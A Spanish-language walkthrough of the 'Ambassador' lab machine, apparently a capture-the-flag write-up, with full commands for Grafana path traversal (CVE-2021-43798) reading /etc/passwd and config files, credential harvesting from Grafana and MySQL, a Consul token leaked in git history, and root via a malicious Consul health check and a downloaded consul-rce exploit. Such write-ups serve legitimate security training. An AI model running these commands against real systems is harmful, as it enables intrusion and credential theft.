Ambassador
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Ambassador expone un Grafana v8.2.0 vulnerable a la lectura arbitraria de ficheros (CVE-2021-43798). Leyendografana.inise obtieneadmin:messageInABottle685427; ya autenticados, la API de datasources revela la contraseña de MySQL. En la basewhackywidgetla tablausersguarda la clave dedeveloperen base64 (anEnglishManInNewYork027468), válida para SSH (reutilización). En/opt/my-app, el historial de git filtra unCONSUL_HTTP_TOKEN; con él se abusa de HashiCorp Consul (ejecución de scripts de health-check) para hacer/bin/bashSUID y obtener root.
Reconocimiento
Ping
ping -c 1 10.10.11.183
PING 10.10.11.183 (10.10.11.183) 56(84) bytes of data.
64 bytes from 10.10.11.183: icmp_seq=1 ttl=63 time=104 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo UDP
Antes del TCP conviene mirar UDP, porque es el que casi nadie escanea y donde suelen esconderse SNMP, TFTP o DNS. Se limita a los 100 puertos más comunes porque UDP no confirma conexión y un barrido completo tardaría horas:
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.183 | grep -v 'no-response'
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-15 16:31 UTC
Initiating UDP Scan at 16:31
Scanning 10.10.11.183 [100 ports]
Completed UDP Scan at 16:31, 1.08s elapsed (100 total ports)
Nmap scan report for 10.10.11.183
Host is up, received user-set (0.15s latency).
Scanned at 2025-11-15 16:31:34 UTC for 1s
Not shown: 6 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
Raw packets sent: 252 (15.520KB) | Rcvd: 6 (520B)La tabla PORT sale vacía: nada abierto por UDP. El grep -v 'no-response' es lo que evita que la salida se llene con los 94 puertos que no contestaron. Descartado UDP, vamos al TCP.
Escaneo de puertos TCP
El barrido completo se lanza con jmap, una función del .zshrc que pide la IP y guarda la salida en formato grepable:
jmap
[+] Introduce una IP
10.10.11.183
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-15 16:31 UTC
Initiating SYN Stealth Scan at 16:31
Scanning 10.10.11.183 [65535 ports]
Discovered open port 3306/tcp on 10.10.11.183
Discovered open port 22/tcp on 10.10.11.183
Discovered open port 80/tcp on 10.10.11.183
Discovered open port 3000/tcp on 10.10.11.183
Completed SYN Stealth Scan at 16:32, 15.03s elapsed (65535 total ports)
Nmap scan report for 10.10.11.183
Host is up, received user-set (0.13s latency).
Scanned at 2025-11-15 16:31:51 UTC for 15s
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
3000/tcp open ppp syn-ack ttl 63
3306/tcp open mysql syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.13 seconds
Raw packets sent: 73848 (3.249MB) | Rcvd: 73828 (2.953MB)El cuerpo de la función, para reproducirlo sin ella:
jmap () {
echo -e "\n[+] Introduce una IP\n"
read ip
echo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan
}Cuatro puertos, y dos merecen atención inmediata: el 3306 es un MySQL expuesto a la red (lo normal es que solo escuche en localhost), y el 3000 lo etiqueta como ppp, que es lo que nmap dice cuando no reconoce el servicio.
extractPorts lee ese fichero grepable y deja la lista en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.183
Open ports: 22,80,3000,3306
Ports copied to clipboard
IP Address: 10.10.11.183
Open ports: 22,80,3000,3306extractPorts () {
echo -e "Extracting information..."
ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)
ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
{
echo -e "IP Address: $ip_address"
echo -e "Open ports: $ports\n"
} >> extractPorts.tmp
echo "$ports" | xclip -sel clip
echo -e "Ports copied to clipboard\n"
cat extractPorts.tmp
rm extractPorts.tmp
}Y el escaneo de versiones y scripts sobre esos cuatro:
jmap2 10.10.11.183 22,80,3000,3306
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Ambassador Development Server
|_http-generator: Hugo 0.94.2
3000/tcp open http Grafana http
|_http-title: Grafana
|_Requested resource was /login
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2jmap2 () {
if [ "$#" -ne 2 ]
then
echo "Uso: jmap2 <ip> <ports>"
return 1
fi
local ip="$1"
local ports="$2"
nmap -p"$ports" -sCV "$ip"
}Ahora sí tenemos nombres: el 80 sirve un sitio generado con Hugo (un generador de sitios estáticos), y el misterioso 3000 es un Grafana que redirige a /login.
Identificar tecnologías
whatweb sobre el 80 confirma la pila y la versión de Hugo:
whatweb http://10.10.11.183
http://10.10.11.183 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.183],
MetaGenerator[Hugo 0.94.2], Open-Graph-Protocol[website],
Title[Ambassador Development Server], X-UA-Compatible[IE=edge]Y sobre el 3000 aparece el dato que decide la máquina:
whatweb http://10.10.11.183:3000
http://10.10.11.183:3000 [302 Found] Cookies[redirect_to], Country[RESERVED][ZZ],
HttpOnly[redirect_to], IP[10.10.11.183], RedirectLocation[/login],
UncommonHeaders[x-content-type-options], X-Frame-Options[deny],
X-XSS-Protection[1; mode=block]
http://10.10.11.183:3000/login [200 OK] Country[RESERVED][ZZ], Grafana[8.2.0], HTML5,
IP[10.10.11.183], Script, Title[Grafana], UncommonHeaders[x-content-type-options],
X-Frame-Options[deny], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block]Grafana 8.2.0. Una versión exacta es media máquina resuelta.
Wappalyzer, desde el navegador, dice lo mismo desde otro ángulo:

Ambassador Development Server
Technologies
Miscellaneous: RSS, Open Graph
Web servers: Apache HTTP Server 2.4.41
Operating systems: Ubuntu
Static site generators: Hugo 0.94.2
Welcome to Grafana
Analytics: Grafana
Programming languages: Go
JavaScript frameworks: Emotion, React, AngularJS 1.8.2
Operating systems: Ubuntu
Issue trackers: Sentry
Web frameworks: Macaron
JavaScript libraries: Lodash 4.17.21
Documentation | Support | Community | Open Source | v8.2.0 (d7f71e9eae)El pie de la propia página de Grafana confirma la versión con su hash de commit: v8.2.0 (d7f71e9eae). Es la fuente más fiable de todas, porque la escribe la aplicación.
Código fuente
Antes de fuzzear, una mirada al HTML de ambos servicios:

<!DOCTYPE html>
<html lang="en-us">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Ambassador Development Server</title>
<meta name="viewport" content="width=device-width,minimum-scale=1">
<meta name="description" content="">
<meta name="generator" content="Hugo 0.94.2" />
<meta name="robots" content="noindex, nofollow">
<link rel="stylesheet" href="/ananke/css/main.min.css" >
<link href="/index.xml" rel="alternate" type="application/rss+xml" title="Ambassador Development Server" />
<meta property="og:title" content="Ambassador Development Server" />
var isEdgeVersion = /Edge\/([0-9.]+)/.exec(navigator.userAgent);
...
if (!checkBrowserCompatibility()) {
alert('Your browser is not fully supported, please try newer version.');
}
window.grafanaBootData = {
user: {"isSignedIn":false,"id":0,"login":"","email":"","name":"","lightTheme":false,"orgCount"...
settings: {"alertingEnabled":true,"alertingErrorOrTimeout":"alerting","alertingMinInterval":1...
navTree: [{"id":"dashboards","text":"Dashboards","subTitle":"Manage dashboards and folders",...
themePaths: {
light: 'public/build/grafana.light.44d64797ac0596ba280b.css',
dark: 'public/build/grafana.dark.44d64797ac0596ba280b.css'
}
};Nada explotable, pero el grafanaBootData confirma que no hay sesión ("isSignedIn":false) y el tema de Hugo (ananke) es la plantilla por defecto. Toca enumerar rutas.
Descubrimiento de rutas
dirsearch -u http://10.10.11.183/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://10.10.11.183/
[16:40:27] Starting:
[16:40:38] 200 - 753B - /404.html
[16:40:56] 301 - 317B - /categories -> http://10.10.11.183/categories/
[16:41:10] 200 - 473B - /images/
[16:41:10] 301 - 313B - /images -> http://10.10.11.183/images/
[16:41:10] 200 - 574B - /index.xml
[16:41:27] 301 - 312B - /posts -> http://10.10.11.183/posts/
[16:41:34] 200 - 267B - /sitemap.xml
[16:41:38] 301 - 311B - /tags -> http://10.10.11.183/tags/dirsearch -u http://10.10.11.183:3000/ --exclude-status=403,404,401
Target: http://10.10.11.183:3000/
[23:22:20] Starting:
[23:23:05] 200 - 2B - /healthz
[23:23:12] 200 - 26KB - /login
[23:23:12] 200 - 26KB - /login/
[23:23:15] 200 - 39KB - /metrics
[23:23:26] 302 - 31B - /public -> /public/
[23:23:28] 200 - 26B - /robots.txt
[23:23:32] 200 - 26KB - /signupRutas estándar de Grafana. La que importa para lo que viene es /public, que es donde se sirven los plugins.
Descargar y filtrar el contenido
En vez de leer las páginas una a una, se descarga todo con wget -r y se busca por palabras clave. Es más rápido y no se escapa nada:
wget http://10.10.11.183/ -r &>/dev/null
wget http://10.10.11.183:3000/ -r &>/dev/null
(el &>/dev/null silencia el progreso; los ficheros quedan en ./10.10.11.183/ y ./10.10.11.183:3000/)grep -riE 'dbpass|creds|password|ambassador|pass|user' --text . | grep -v '/10.10.11.183:3000/index.html' | cat -l py
./10.10.11.183:3000/robots.txt:User-agent: *
./10.10.11.183/index.html: <title>Ambassador Development Server</title>
./10.10.11.183/index.html: <link href="/index.xml" rel="alternate" type="application/rss+xml" title="Ambassador Development Server" />
...
./10.10.11.183/index.html: Hi there! This server exists to provide developers at Ambassador with a standalone development environment. When you start as a developer at Ambassador, you will be assigned a development server of your own to use.
./10.10.11.183/index.html:Connecting to this machine Use the developer account to SSH, DevOps will give you the password.
./10.10.11.183/index.html: Ambassador Inc.De todo el ruido, una sola línea aporta algo: existe una cuenta llamada developer que se usa para entrar por SSH. No tenemos su contraseña, pero ya tenemos el nombre de usuario, que es la mitad del problema.
El grep -v del comando descarta el index.html de Grafana porque es un bundle de JavaScript minificado que ensuciaría la salida entera con falsos positivos. El texto se ve igual en el navegador:

Posts
Welcome to the Ambassador Development Server
Hi there! This server exists to provide developers at Ambassador with a standalone
development environment. When you start as a developer at Ambassador, you will be
assigned a development server of your own to use. Connecting to this machine Use the
developer account to SSH, DevOps will give you the password.Con Grafana delante, lo primero que se prueba son sus credenciales por defecto:

Welcome to Grafana
Email or username: admin
Password: admin
[ Log in ]
⚠ Invalid username or passwordNo cuela. Pero no hace falta adivinar la contraseña: con la versión exacta en la mano, toca buscar vulnerabilidades conocidas.
Acceso: lectura de ficheros en Grafana
Del exploit público al ataque manual
searchsploit -m multiple/webapps/50581.py
grep -v '#' 50581.py | cat -l py
Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
URL: https://www.exploit-db.com/exploits/50581
Path: /usr/share/exploitdb/exploits/multiple/webapps/50581.py
Codes: CVE-2021-43798
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/krmena/machines/ambassador/content/50581.pyEl exploit dice 8.3.0 y la máquina corre 8.2.0. Eso no lo descarta: la vulnerabilidad se corrigió en 8.3.1, así que todas las versiones anteriores están afectadas. En lugar de ejecutarlo a ciegas, se lee para entender qué hace.

import requests
import argparse
import sys
from random import choice
plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
"candlestick",
"cloudwatch",
"dashlist",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana-azure-monitor-datasource",
"graph",
"heatmap",
"histogram",
"influxdb",
...
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-histor",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"zipkin"
]
def exploit(args):
s = requests.Session()
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }
while True:
file_to_read = input('Read file > ')
try:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../..' + file_to_read
req = requests.Request(method='GET', url=url, headers=headers)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False, timeout=3)Leído el código, el mecanismo queda claro y cabe en una línea: se pide /public/plugins/<plugin>/ seguido de una ristra de ../. El único requisito es que el plugin exista, porque Grafana solo entra en la rutina de servir ficheros si reconoce el nombre; por eso el script prueba con una lista. Con esto ya no hace falta el exploit: basta un curl.
CVE-2021-43798: path traversal
Grafana ≤ 8.3.0 sirve los plugins en /public/plugins/<plugin>/ sin sanear el .., lo que permite una lectura arbitraria de ficheros sin autenticación. Usando el primer plugin de la lista (alertlist) y retrocediendo directorios se lee /etc/passwd:
curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/passwd' --path-as-is
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash
consul:x:997:997::/home/consul:/bin/falseEl --path-as-is es imprescindible: sin él, curl normaliza los ../ antes de enviar la petición y el traversal nunca llega al servidor.
Tres lecturas de este /etc/passwd. Confirma el usuario developer que anunciaba la web. Confirma que solo él y root tienen shell interactiva. Y añade uno nuevo, consul, con /bin/false: una cuenta de servicio que ahora mismo no dice nada, pero que reaparecerá al final.
El mismo fallo lee el fichero de configuración de Grafana, donde está la contraseña de administración:
curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/grafana/grafana.ini' \
--path-as-is | grep -v '#' | grep -E 'admin|pass'
admin_user = admin
admin_password = messageInABottle685427Los dos grep encadenados no son adorno: grafana.ini tiene cientos de líneas y casi todas están comentadas, así que el primero (grep -v '#') quita los comentarios y el segundo se queda con lo que interesa.
Autenticarse en Grafana
admin : messageInABottle685427
Welcome to Grafana
Email or username: admin
Password: messageInABottle685427
[ Log in ]
Documentation | Support | Community | Open Source | v8.2.0 (d7f71e9eae)
admin
Preferences | Change password
Edit profile
Name: (vacío)
Email: admin@localhost
Username: adminDentro. Aquí se probó también la CVE-2024-9264, una inyección de comandos post-autenticación en la función de SQL Expressions, pero requiere que la máquina tenga instalado el binario duckdb y aquí no está: vector descartado. Lo que sí da fruto es lo obvio: pedirle a Grafana sus propias fuentes de datos.
La API de datasources
Un administrador de Grafana puede consultar la configuración de todas las conexiones a bases de datos, contraseñas incluidas:
curl -s -X GET http://10.10.11.183:3000/api/datasources -u admin:messageInABottle685427
[{"id":2,"uid":"uKewFgM4z","orgId":1,"name":"mysql.yaml","type":"mysql","typeName":"MySQL",
"typeLogoUrl":"public/app/plugins/datasource/mysql/img/mysql_logo.svg","access":"proxy","url":"",
"password":"dontStandSoCloseToMe63221!","user":"grafana","database":"grafana","basicAuth":false,
"isDefault":false,"jsonData":{},"readOnly":true}]La contraseña de MySQL viaja en claro dentro del JSON: dontStandSoCloseToMe63221!, usuario grafana. Y aquí aparece un tropiezo que conviene documentar, porque le pasa a cualquiera:
mysql -u grafana -p -h 10.10.11.183Enter password:
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chainEl servidor MySQL presenta un certificado autofirmado y el cliente lo rechaza. No es un fallo de credenciales: es verificación de TLS. Se salta indicándoselo explícitamente:
mysql -u grafana -p -h 10.10.11.183 --skip-ssl-verify-server-certEnter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 40
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
...
MySQL [(none)]>El mismo secreto por otra vía: grafana.db
Merece la pena ver la ruta alternativa, porque no depende de tener credenciales de administrador. Grafana guarda su estado en un SQLite, y ese fichero también se puede robar con el mismo path traversal:
curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../var/lib/grafana/grafana.db' --path-as-is > grafana.db
sqlite3 grafana.db
% Total % Received % Xferd Average Speed Time Time Time Current
100 652k 100 652k 0 0 203k 0 0:00:03 0:00:03 --:--:-- 203k
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .table
alert login_attempt
alert_configuration migration_log
alert_instance ngalert_configuration
alert_notification org
alert_notification_state org_user
alert_rule playlist
alert_rule_tag playlist_item
alert_rule_version plugin_setting
annotation preferences
annotation_tag quota
api_key server_lock
cache_data session
dashboard short_url
...
data_source test_data
kv_store user
library_element user_auth
library_element_connection user_auth_token
sqlite> select * from data_source;
2|1|1|mysql|mysql.yaml|proxy||dontStandSoCloseToMe63221!|grafana|grafana|0|||0|{}|2022-09-01 22:43:03|2025-11-15 16:05:23|0|{}|1|uKewFgM4zMisma contraseña, obtenida sin autenticarse. Es la vía preferible en un escenario real: el traversal es previo a login y no deja rastro en la tabla login_attempt.
Shell como developer
MySQL: la contraseña en base64
show databases;
use whackywidget;
show tables;
select * from users;
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0.110 sec)
MySQL [(none)]> use whackywidget;
Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0.111 sec)
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.111 sec)De las seis bases, cuatro son del sistema y grafana es la que ya conocemos. whackywidget es la de la aplicación, y contiene una única tabla con un único registro: el usuario developer que la web anunciaba.
El == final y el juego de caracteres delatan base64, que no es cifrado sino codificación: se revierte sin clave.
echo -n "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
anEnglishManInNewYork027468SSH
La contraseña sirve por SSH como developer (reutilización de credenciales):
ssh developer@10.10.11.183
developer@10.10.11.183's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
...
developer@ambassador:~$cat user.txt
developer@ambassador:~$ cat user.txt
53fdff0e0f8c8ba55b95e197fa4f0691Escalada de privilegios
Enumerar el home
Lo primero es mirar el directorio personal incluyendo los ficheros ocultos, que es donde vive la configuración:
alias ls='ls -la'
ls
cat .gitconfig
developer@ambassador:~$ ls
total 48
drwxr-xr-x 7 developer developer 4096 Sep 14 2022 .
drwxr-xr-x 3 root root 4096 Mar 13 2022 ..
lrwxrwxrwx 1 root root 9 Sep 14 2022 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 developer developer 3798 Mar 14 2022 .bashrc
drwx------ 3 developer developer 4096 Mar 13 2022 .cache
-rw-rw-r-- 1 developer developer 93 Sep 2 2022 .gitconfig
drwx------ 3 developer developer 4096 Mar 14 2022 .gnupg
drwxrwxr-x 3 developer developer 4096 Mar 13 2022 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 3 developer developer 4096 Mar 13 2022 snap
drwx------ 2 developer developer 4096 Mar 13 2022 .ssh
-rw-r----- 1 root developer 33 Nov 15 16:05 user.txt
developer@ambassador:~$ cat .gitconfig
[user]
name = Developer
email = developer@ambassador.local
[safe]
directory = /opt/my-appDos cosas. .bash_history es un enlace simbólico a /dev/null, un truco habitual para que no quede rastro de los comandos. Y el .gitconfig declara /opt/my-app como safe directory, lo que es tanto como decir que ahí hay un repositorio git y que este usuario trabaja con él.
Secretos en el historial de git
cd /opt/my-app/
ls
cd .git/
git log
developer@ambassador:~$ cd /opt/my-app/
developer@ambassador:/opt/my-app$ ls
total 24
drwxrwxr-x 5 root root 4096 Mar 13 2022 .
drwxr-xr-x 4 root root 4096 Sep 1 2022 ..
drwxrwxr-x 4 root root 4096 Mar 13 2022 env
drwxrwxr-x 8 root root 4096 Mar 14 2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13 2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13 2022 whackywidget
developer@ambassador:/opt/my-app$ cd .git/
developer@ambassador:/opt/my-app/.git$ git log
fatal: detected dubious ownership in repository at '/opt/my-app/.git'
To add an exception for this directory, call:
git config --global --add safe.directory /opt/my-app/.git
developer@ambassador:/opt/my-app/.git$ git config --global --add safe.directory /opt/my-app/.git
developer@ambassador:/opt/my-app/.git$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:47:01 2022 +0000
created project with django CLI
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:44:11 2022 +0000El repositorio es de root, y git se niega a operar sobre repositorios ajenos (dubious ownership, una protección añadida en git 2.35.2). La solución la da el propio mensaje de error, y es exactamente lo que ya había en el .gitconfig del home: añadirlo como directorio seguro.
Cuatro commits, y uno tiene un nombre que invita a mirar: "tidy config script". Limpiar un script de configuración es, muchas veces, quitar de él algo que no debería estar.
git show 33a53
git show c982db
developer@ambassador:/opt/my-app/.git$ git show 33a53
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
# We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
developer@ambassador:/opt/my-app/.git$ git show c982db
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
new file mode 100755
index 0000000..35c08f6
--- /dev/null
+++ b/whackywidget/put-config-in-consul.sh
@@ -0,0 +1,4 @@
+# We use Consul for application config in production, this script will help set the correct values for the app
++# Export MYSQL_PASSWORD before running
+
+consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORDLos dos diffs cuentan la historia completa. El commit c982db creó el script con el token incrustado; el commit 33a53 lo quitó y cambió el comentario para que se pasara por variable de entorno. El desarrollador hizo lo correcto... tres minutos tarde: el historial conserva la versión anterior, y ahí está el token en claro:
CONSUL_HTTP_TOKEN = bb03b43b-1d81-d62b-24b5-39540ee469b5Este es el patrón de secretos en el historial de git: borrar una credencial del código no la borra del repositorio, solo la mueve al pasado. La única mitigación real es rotarla.
Qué es Consul y por qué importa
HashiCorp Consul es una plataforma de service discovery y configuración distribuida: los servicios se registran en ella, comparten configuración y se comprueban entre sí. Esa última parte, los health checks, es la que abre el vector: un health check puede definirse como un script local que Consul ejecuta periódicamente, y los checks se declaran en ficheros .hcl que se leen del directorio de configuración al recargar.
Encadenando esas piezas, el ataque necesita dos condiciones:
- Que Consul corra como
root(así se ejecutará el script como root). - Que el directorio de configuración sea escribible por nosotros (para dejar ahí el
.hcl).
Se comprueban las dos de golpe:
ps -faux | grep consul
ls -l /etc/consul.d/
developer@ambassador:~$ ps -faux | grep consul
root 1098 0.3 3.8 794356 77304 ? Ssl 16:05 0:45 /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl
develop+ 94209 0.0 0.0 6432 660 pts/0 S+ 20:06 0:00 \_ grep --color=auto consul
developer@ambassador:~$ ls -l /etc/consul.d/
total 24
drwxr-xr-x 3 consul consul 4096 Sep 27 2022 .
drwxr-xr-x 103 root root 4096 Sep 27 2022 ..
drwx-wx--- 2 root developer 4096 Nov 15 20:04 config.d
-rw-r--r-- 1 consul consul 0 Feb 28 2022 consul.env
-rw-r--r-- 1 consul consul 5303 Mar 14 2022 consul.hcl
-rw-r--r-- 1 consul consul 160 Mar 15 2022 READMELas dos condiciones se cumplen. El proceso es de root (no del usuario consul que veíamos en /etc/passwd, lo cual ya es un fallo de diseño en sí mismo), y config.d tiene permisos drwx-wx--- con grupo developer: la w del grupo nos deja escribir dentro, aunque la falta de r impida listar el contenido.
El health check malicioso
cd /etc/consul.d/config.d/
nano revshell.hcl
cat revshell.hcl
export CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
consul reload
ls -l /bin/bash
developer@ambassador:/etc/consul.d/config.d$ cat revshell.hcl
enable_script_checks = true
check = {
id = "sfldksjflksdrwerew",
args = ["/usr/bin/chmod", "u+s /bin/bash"],
interval = "60s"
}
developer@ambassador:/etc/consul.d/config.d$ export CONSUL_HTTP_TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
developer@ambassador:/etc/consul.d/config.d$ consul reload
Configuration reload triggered
developer@ambassador:/etc/consul.d/config.d$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bashEl fichero tiene tres piezas y todas son necesarias. enable_script_checks = true habilita la ejecución de scripts, que está desactivada por defecto justo por lo que estamos haciendo. args es el comando a ejecutar, aquí un chmod u+s /bin/bash. E interval obliga a que sea un check periódico, no de arranque único.
El consul reload no funcionaría sin el token: es una operación administrativa de la API, y por eso el CONSUL_HTTP_TOKEN del commit era la pieza que faltaba. La respuesta Configuration reload triggered confirma que Consul aceptó la orden, y el ls -l posterior lo prueba: /bin/bash pasa de -rwxr-xr-x a -rwsr-xr-x, con la s del bit SUID.
bash -p
developer@ambassador:/etc/consul.d/config.d$ bash -p
bash-5.0# whoami
rootEl -p es obligatorio: sin él, bash detecta que el UID efectivo (0) no coincide con el real y renuncia a los privilegios al arrancar, precisamente para evitar este tipo de abusos. Con -p los conserva.
La misma escalada, automatizada
Existe un exploit público que hace todo esto por nosotros, owalid/consul-rce. Se clona en el atacante y se transfiere:
# atacante
git clone https://github.com/owalid/consul-rce
cd consul-rce
python3 -m http.server 80
# víctima
wget http://10.10.16.6/consul_rce.py
# víctima
--2025-11-16 23:04:03-- http://10.10.16.6/consul_rce.py
Connecting to 10.10.16.6:80 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 2178 (2.1K) [text/x-python]
Saving to: 'consul_rce.py'
consul_rce.py 100%[===================>] 2.13K --.-KB/s in 0.1s
2025-11-16 23:04:04 (20.4 KB/s) - 'consul_rce.py' saved [2178/2178]
developer@ambassador:/tmp$ ls | grep consul
consul_rce.py
# atacante
Cloning into 'consul-rce'...
remote: Enumerating objects: 7, done.
remote: Total 7 (delta 0), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), done.
README.md consul_rce.py
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.183 - - [16/Nov/2025 23:04:05] "GET /consul_rce.py HTTP/1.1" 200 -ls -l /bin/bash
chmod +x consul_rce.py
python3 consul_rce.py -th 127.0.0.1 -tp 8500 -c "chmod u+s /bin/bash" -ct "bb03b43b-1d81-d62b-24b5-39540ee469b5"
ls -l /bin/bash
bash -p
developer@ambassador:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
developer@ambassador:/tmp$ chmod +x consul_rce.py
developer@ambassador:/tmp$ python3 consul_rce.py
usage: consul_rce.py [-h] -th TARGET_HOST -tp TARGET_PORT -c COMMAND [-s SSL]
[-ct CONSUL_TOKEN]
consul_rce.py: error: the following arguments are required: -th/--target_host, -tp/--target_port, -c/--command
developer@ambassador:/tmp$ python3 consul_rce.py -th 127.0.0.1 -tp 8500 -c "chmod u+s /bin/bash" -ct "bb03b43b-1d81-d62b-24b5-39540ee469b5"
[+] Check okucmfmihlhuczv created successfully
[+] Check okucmfmihlhuczv deregistered successfully
developer@ambassador:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
developer@ambassador:/tmp$ bash -p
bash-5.0# whoami
rootEl puerto 8500 es el de la API HTTP de Consul por defecto, y 127.0.0.1 porque solo escucha en local. La diferencia con el método manual es de limpieza: el exploit registra el check por API, espera a que se ejecute y lo da de baja (deregistered successfully), en vez de dejar un .hcl tirado en el disco. El ls -l de antes y después es la prueba independiente de que funcionó.
root.txt

bash-5.0# cat /root/root.txt
64a3f76af5e58df746a22bfc68bcbfbdCadena de ataque
TTL 63 (Linux) ─▶ UDP: nada ─▶ TCP: 22/80/3000(Grafana 8.2.0)/3306(MySQL)
│ web :80 ─▶ "Use the developer account to SSH" (nombre de usuario)
│ CVE-2021-43798 (path traversal previo a login)
▼
/etc/passwd (root, developer, consul) y grafana.ini ─▶ admin:messageInABottle685427
│ API /api/datasources ó /var/lib/grafana/grafana.db (sin login)
▼
